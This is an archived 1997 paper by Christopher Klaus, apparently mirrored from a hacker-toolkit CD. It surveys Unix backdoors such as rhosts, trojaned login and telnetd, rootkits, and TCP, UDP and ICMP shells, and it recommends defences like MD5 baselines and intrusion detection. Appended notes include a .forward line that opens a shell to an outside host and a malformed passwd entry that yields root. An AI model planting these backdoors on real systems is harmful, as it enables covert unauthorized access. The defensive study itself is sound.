home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Texts / backdoors.txt < prev    next >
Text File  |  1999-11-04  |  20KB  |  400 lines

  1.  
  2. Backdoors
  3.  
  4. By Christopher Klaus 8/4/97
  5.  
  6.  
  7. Since the early days of intruders breaking into computers, they have tried
  8. to develop techniques or backdoors that allow them to get back into the
  9. system.   In this paper, it will be focused on many of the common backdoors
  10. and possible ways to check for them.  Most of focus will be on Unix
  11. backdoors with some discussion on future Windows NT backdoors.  This will
  12. describe the complexity of the issues in trying to determine the methods
  13. that intruders use and the basis for administrators understanding on how
  14. they might be able to stop the intruders from getting back in.  When an
  15. administrator understands how difficult it would be to stop intruder once
  16. they are in, the appreciation of being proactive to block the intruder from
  17. ever getting in becomes better understood.  This is intended to cover many
  18. of the popular commonly used backdoors by beginner and advanced intruders.
  19.  This is not intended to cover every possible way to create a backdoor as
  20. the possibilities are limitless.
  21.  
  22. The backdoor for most intruders provide two or three main functions:
  23.  
  24. Be able to get back into a machine even if the administrator tries to
  25. secure it, e.g., changing all the passwords.
  26.  
  27. Be able to get back into the machine with the least amount of visibility.
  28.  Most backdoors provide a way to avoid being logged and many times the
  29. machine can appear to have no one online even while an intruder is using
  30. it.
  31.  
  32. Be able to get back into the machine with the least amount of time.  Most
  33. intruders want to easily get back into the machine without having to do all
  34. the work of exploiting a hole to gain access.
  35.  
  36. In some cases, if the intruder may think the administrator may detect any
  37. installed backdoor, they will resort to using the vulnerability repeatedly
  38. to get on a machine as the only backdoor.   Thus not touching anything that
  39. may tip off the administrator.   Therefore in some cases, the
  40. vulnerabilities on a machine remain the only unnoticed backdoor.
  41.  
  42.  
  43. Password Cracking Backdoor
  44.  
  45. One of the first and oldest methods of intruders used to gain not only
  46. access to a Unix machine but backdoors was to run a password cracker.  This
  47. uncovers weak passworded accounts.  All these new accounts are now possible
  48. backdoors into a machine even if the system administrator locks out the
  49. intruder's current account.  Many times, the intruder will look for unused
  50. accounts with easy passwords and change the password to something
  51. difficult.  When the administrator looked for all the weak passworded
  52. accounts, the accounts with modified passwords will not appear.  Thus the
  53. administrator will not be able to easily determine which accounts to lock
  54. out.
  55.  
  56. Rhosts + + Backdoor
  57.  
  58. On networked Unix machines, services like Rsh and Rlogin used a simple
  59. authentication method based on hostnames that appear in rhosts.  A user
  60. could easily configure which machines not to require a password to log
  61. into.  An intruder that gained access to someone's rhosts file could put a
  62. "+ +" in the file and that would allow anyone from anywhere to log into
  63. that account without a password.  Many intruders use this method especially
  64. when NFS is exporting home directories to the world.   These accounts
  65. become backdoors for intruders to get back into the system.  Many intruders
  66. prefer using Rsh over Rlogin because it is many times lacking any logging
  67. capability.  Many administrators check for "+ +" therefore an intruder may
  68. actually put in a hostname and username from another compromised account on
  69. the network, making it less obvious to spot.
  70.  
  71. Checksum and Timestamp Backdoors
  72.  
  73. Early on, many intruders replaced binaries with their own trojan versions.
  74.  Many system administrators relied on time-stamping and the system checksum
  75. programs, e.g., Unix's sum program, to try to determine when a binary file
  76. has been modified.  Intruders have developed technology that will recreate
  77.  the same time-stamp for the trojan file as the original file.  This is
  78. accomplished by setting the system clock time back to the original file's
  79. time and then adjusting the trojan file's time to the system clock.  Once
  80. the binary trojan file has the exact same time as the original, the system
  81. clock is reset to the current time.  The sum program relies on a CRC
  82. checksum and is easily spoofed.  Intruders have developed programs that
  83. would modify the trojan binary to have the necessary original checksum,
  84. thus fooling the administrators.  MD5 checksums is the recommended choice
  85. to use today by most vendors.  MD5 is based on an algorithm that no one has
  86. yet to date proven can be spoofed.
  87.  
  88. Login Backdoor
  89.  
  90. On Unix, the login program is the software that usually does the password
  91. authentication when someone telnets to the machine.  Intruders grabbed the
  92. source code to login.c and modified it that when login compared the user's
  93. password with the stored password, it would first check for a backdoor
  94. password. If the user typed in the backdoor password, it would allow you to
  95. log in regardless of what the administrator sets the passwords to.  Thus
  96. this allowed the intruder to log into any account, even root.   The
  97. password backdoor would spawn access before the user actually logged in and
  98. appeared in utmp and wtmp.  Therefore an intruder could be logged in and
  99. have shell access without it appearing anyone is on that machine as that
  100. account.  Administrators started noticing these backdoors especially if
  101. they did a "strings" command to find what text was in the login program.
  102.  Many times the backdoor password would show up. The intruders then
  103. encrypted or hid the backdoor password better so it would not appear by
  104. just doing strings.  Many of the administrators can detect these backdoors
  105. with MD5 checksums.
  106.  
  107. Telnetd Backdoor
  108.  
  109. When a user telnets to the machine, inetd service listens on the port and
  110. receive the connection and then passes it to in.telnetd, that then runs
  111. login.  Some intruders knew the administrator was checking the login
  112. program for tampering, so they modified in.telnetd.  Within in.telnetd, it
  113. does several checks from the user for things like what kind of terminal the
  114. user was using.  Typically, the terminal setting might be Xterm or VT100.
  115.  An intruder could backdoor it so that when the terminal was set to
  116. "letmein", it would spawn a shell without requiring any authentication.
  117.   Intruders have backdoored some services so that any connection from a
  118. specific source port can spawn a shell.
  119.  
  120. Services Backdoor
  121.  
  122. Almost every network service has at one time been backdoored by an
  123. intruder.  Backdoored versions of finger, rsh, rexec, rlogin, ftp, even
  124. inetd, etc., have been floating around forever.  There are programs that
  125. are nothing more than a shell connected to a TCP port with maybe a backdoor
  126. password to gain access.  These programs sometimes replace a service like
  127. uucp that never gets used or they get added to the inetd.conf file as a new
  128. service.  Administrators should be very wary of what services are running
  129. and analyze the original services by MD5 checksums.
  130.  
  131. Cronjob backdoor
  132.  
  133. Cronjob on Unix schedules when certain programs should be run.  An intruder
  134. could add a backdoor shell program to run between 1 AM and 2 AM.  So for 1
  135. hour every night, the intruder could gain access.  Intruders have also
  136. looked at legitimate programs that typically run in cronjob and built
  137. backdoors into those programs as well.
  138.  
  139. Library backdoors
  140.  
  141. Almost every UNIX system uses shared libraries.  The shared libraries are
  142. intended to reuse many of the same routines thus cutting down on the size
  143. of programs.  Some intruders have backdoored some of the routines like
  144. crypt.c and _crypt.c.  Programs like login.c would use the crypt() routine
  145. and if a backdoor password was used it would spawn a shell.  Therefore,
  146. even if the administrator was checking the MD5 of the login program, it was
  147. still spawning a backdoor routine and many administrators were not checking
  148. the libraries as a possible source of backdoors.
  149.  
  150. One problem for many intruders was that some administrators started MD5
  151. checksums of almost everything.  One method intruders used to get around
  152. that is to backdoor the open() and file access routines.  The backdoor
  153. routines were configured to read the original files, but execute the trojan
  154. backdoors.  Therefore, when the MD5 checksum program was reading these
  155. files, the checksums always looked good.  But when the system ran the
  156. program, it executed the trojan version.  Even the trojan library itself,
  157. could be hidden from the MD5 checksums.   One way to an administrator could
  158. get around this backdoor was to statically link the MD5 checksum checker
  159. and run on the system.  The statically linked program does not use the
  160. trojan shared libraries.
  161.  
  162. Kernel backdoors
  163.  
  164. The kernel on Unix is the core of how Unix works.  The same method used for
  165. libraries for bypassing MD5 checksum could be used at the kernel level,
  166. except even a statically linked program could not tell the difference.  A
  167. good backdoored kernel is probably one of the hardest to find by
  168. administrators, fortunately kernel backdoor scripts have not yet been
  169. widely made available and no one knows how wide spread they really are.
  170.  
  171. File system backdoors
  172.  
  173. An intruder may want to store their loot or data on a server somewhere
  174. without the administrator finding the files.  The intruder's files can
  175. typically contain their toolbox of exploit scripts, backdoors, sniffer
  176. logs, copied data like email messages, source code, etc.    To hide these
  177. sometimes large files from an administrator, an intruder may patch the
  178. files system commands like "ls", "du", and "fsck" to hide the existence of
  179. certain directories or files.  At a very low level, one intruder's backdoor
  180. created a section on the hard drive to have a proprietary format that was
  181. designated as "bad" sectors on the hard drive.  Thus an intruder could
  182. access those hidden files with only special tools, but to the regular
  183. administrator, it is very difficult to determine that the marked "bad"
  184. sectors were indeed storage area for the hidden file system.
  185.  
  186. Bootblock backdoors
  187.  
  188. In the PC world, many viruses have hid themselves within the bootblock
  189. section and most antivirus software will check to see if the bootblock has
  190. been altered.  On Unix, most administrators do not have any software that
  191. checks the bootblock, therefore some intruders have hidden some backdoors
  192. in the bootblock area.
  193.  
  194. Process hiding backdoors
  195.  
  196. An intruder many times wants to hide the programs they are running.  The
  197. programs they want to hide are commonly a password cracker or a sniffer.
  198.  There are quite a few methods and here are some of the more common:
  199.  
  200. An intruder may write the program to modify its own argv[] to make it look
  201. like another process name.
  202.  
  203. An intruder could rename the sniffer program to a legitimate service like
  204. in.syslog and run it.  Thus when an administrator does a "ps" or looks at
  205. what is running, the standard service names appear.
  206.  
  207. An intruder could modify the library routines so that "ps" does not show
  208. all the processes.
  209.  
  210. An intruder could patch a backdoor or program into an interrupt driven
  211. routine so it does not appear in the process table.  An example backdoor
  212. using this technique is amod.tar.gz available on
  213.  http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html
  214.  
  215. An intruder could modify the kernel to hide certain processes as well.
  216.  
  217. Rootkit
  218.  
  219. One of the most popular packages to install backdoors is rootkit.  It can
  220. easily be located using Web search engines.  From the Rootkit README, here
  221. are the typical files that get installed:
  222.  
  223. z2 - removes entries from utmp, wtmp, and lastlog.
  224. Es - rokstar's ethernet sniffer for sun4 based kernels.
  225. Fix - try to fake checksums, install with same dates/perms/u/g.
  226. Sl - become root via a magic password sent to login.
  227. Ic - modified ifconfig to remove PROMISC flag from output.
  228. ps: - hides the processes.
  229. Ns - modified netstat to hide connections to certain machines.
  230. Ls - hides certain directories and files from being listed.
  231. du5 - hides how much space is being used on your hard drive.
  232. ls5 -  hides certain files and directories from being listed.
  233.  
  234.  
  235. Network traffic backdoors
  236.  
  237. Not only do intruders want to hide their tracks on the machine, but also
  238. they want to hide their network traffic as much as possible.  These network
  239. traffic backdoors sometimes allow an intruder to gain access through a
  240. firewall.  There are many network backdoor programs that allow an intruder
  241. to set up on a certain port number on a machine that will allow access
  242. without ever going through the normal services.  Because the traffic is
  243. going to a non-standard network port, the administrator can overlook the
  244. intruder's traffic.  These network traffic backdoors are typically using
  245. TCP, UDP, and ICMP, but it could be many other kinds of packets.
  246.  
  247. TCP Shell Backdoors
  248.  
  249. The intruder can set up these TCP Shell backdoors on some high port number
  250. possibly where the firewall is not blocking that TCP port.  Many times,
  251. they will be protected with a password just so that an administrator that
  252. connects to it, will not immediately see shell access.  An administrator
  253. can look for these connections with netstat to see what ports are listening
  254. and where current connections are going to and from.  Many times, these
  255. backdoors allow an intruder to get past TCP Wrapper technology.  These
  256. backdoors could be run on the SMTP port, which many firewalls allow traffic
  257. to pass for e-mail.
  258.  
  259. UDP Shell Backdoors
  260.  
  261. Administrator many times can spot a TCP connection and notice the odd
  262. behavior, while UDP shell backdoors lack any connection so netstat would
  263. not show an intruder accessing the Unix machine.  Many firewalls have been
  264. configured to allow UDP packets for services like DNS through.  Many times,
  265. intruders will place the UDP Shell backdoor on that port and it will be
  266. allowed to by-pass the firewall.
  267.  
  268. ICMP Shell Backdoors
  269.  
  270. Ping is one of the most common ways to find out if a machine is alive by
  271. sending and receiving ICMP packets.  Many firewalls allow outsiders to ping
  272. internal machines.  An intruder can put data in the Ping ICMP packets and
  273. tunnel a shell between the pinging machines.  An administrator may notice a
  274. flurry of Ping packets, but unless the administrator looks at the data in
  275. the packets, an intruder can be unnoticed.
  276.  
  277. Encrypted Link
  278.  
  279. An administrator can set up a sniffer trying to see data appears as someone
  280. accessing a shell, but an intruder can add encryption to the Network
  281. traffic backdoors and it becomes almost impossible to determine what is
  282. actually being transmitted between two machines.
  283.  
  284. Windows NT
  285.  
  286. Because Windows NT does not easily allow multiple users on a single machine
  287. and remote access similar as Unix, it becomes harder for the intruder to
  288. break into Windows NT, install a backdoor, and launch an attack from it.
  289. Thus you will find more frequently network attacks that are spring boarded
  290. from a Unix box than Windows NT. As Windows NT advances in multi-user
  291. technologies, this may give a higher frequency of intruders who use Windows
  292. NT to their advantage.  And if this does happen, many of the concepts from
  293. Unix backdoors can be ported to Windows NT and administrators can be ready
  294. for the intruder.  Today, there are already telnet daemons available for
  295. Windows NT.  With Network Traffic backdoors, they are very feasible for
  296. intruders to install on Windows NT.
  297.  
  298. Solutions
  299.  
  300. As backdoor technology advances, it becomes even harder for administrators
  301. to determine if an intruder has gotten in or if they have been successfully
  302. locked out.
  303.  
  304. Assessment
  305.  
  306. One of the first steps in being proactive is to assess how vulnerable your
  307. network is, thus being able to figure out what holes exist that should be
  308. fixed.  Many commercial tools exist to help scan and audit the network and
  309. systems for vulnerabilities.  Many companies could dramatically improve
  310. their security if they only installed the security patches made freely
  311. available by their vendors.
  312.  
  313. MD5 Baselines
  314.  
  315. One necessary component of a system scanner is MD5 checksum baselines.
  316.  This MD5 baseline should be built up before a hacker attack with clean
  317. systems.  Once a hacker is in and has installed backdoors, trying to create
  318. a baseline after the fact could incorporate the backdoors into the
  319. baseline.  Several companies had been hacked and had backdoors installed on
  320. their systems for many months. Overtime, all the backups of the systems
  321. contained the backdoors.   When some of these companies found out they had
  322. a hacker, they restored a backup in hopes of removing any backdoors.  The
  323. effort was futile since they were restoring all the files, even the
  324. backdoored ones.  The binary baseline comparison needs to be done before an
  325. attack happens.
  326.  
  327. Intrusion detection
  328.  
  329. Intrusion detection is becoming more important as organizations are hooking
  330. up and allowing connections to some of their machines.  Most of the older
  331. intrusion detection technology was log-based events.  The latest intrusion
  332. detection system (IDS) technology is based on real-time sniffing and
  333. network traffic security analysis.  Many of the network traffic backdoors
  334. can now easily be detected.  The latest IDS technology can take a look at
  335. the DNS UDP packets and determine if it matches the DNS protocol requests.
  336.  If the data on the DNS port does not match the DNS protocol, an alert flag
  337. can be signaled and the data captured for further analysis.   The same
  338. principle can be applied to the data in an ICMP packet to see if it is the
  339. normal ping data or if it is carrying encrypted shell session.
  340.  
  341. Boot from CD-ROM.
  342.  
  343. Some administrators may want to consider booting from CD-ROM thus
  344. eliminating the possibility of an intruder installing a backdoor on the
  345. CD-ROM.  The problem with this method is the cost and time of implementing
  346. this solution enterprise wide.
  347.  
  348. Vigilant
  349.  
  350. Because the security field is changing so fast, with new vulnerabilities
  351. being announced daily and intruders are constantly designing new attack and
  352. backdoor techniques, no security technology is effective without vigilance.
  353.  
  354. Be aware that no defense is foolproof, and that there is no substitute for
  355. diligent attention.
  356.  
  357. -------------------------------------------------------------------------
  358.  
  359.  
  360. you may want to add:
  361.  
  362.     .forward Backdoor
  363.  
  364.     On Unix machines, placing commands into the .forward file was also
  365.     a common method of regaining access.  For the account ``username''
  366.     a .forward file might be constructed as follows:
  367.  
  368.         \username
  369.         |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"
  370.  
  371.     permutations of this method include alteration of the systems mail
  372.     aliases file (most commonly located at /etc/aliases).  Note that
  373.     this is a simple permutation, the more advanced  can run a simple
  374.     script from the forward file that can take arbitrary commands via
  375.     stdin (after minor preprocessing).
  376.  
  377. PS: The above method is also useful gaining access a companies
  378.         mailhub (assuming there is a shared a home directory FS on
  379.         the client and server).
  380.  
  381. > Using smrsh can effectively negate this backdoor (although it's quite
  382. > possibly still a problem if you allow things like elm's filter or
  383. > procmail which can run programs themselves...).
  384.  
  385.  
  386. ---------------------------------------------------------------------------
  387.  
  388.  
  389. you may want to add this "feature" that can act as a backdoor:
  390.  
  391. when specifying a wrong uid/gid in the /etc/password file,
  392. most login(1) implementations will fail to detect the wrong
  393. uid/gid and atoi(3) will set uid/gid to 0, giving superuser
  394. privileges.
  395.  
  396. example:
  397. rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
  398. on Linux boxes, this will give uid 0 to user rmartin.
  399.  
  400.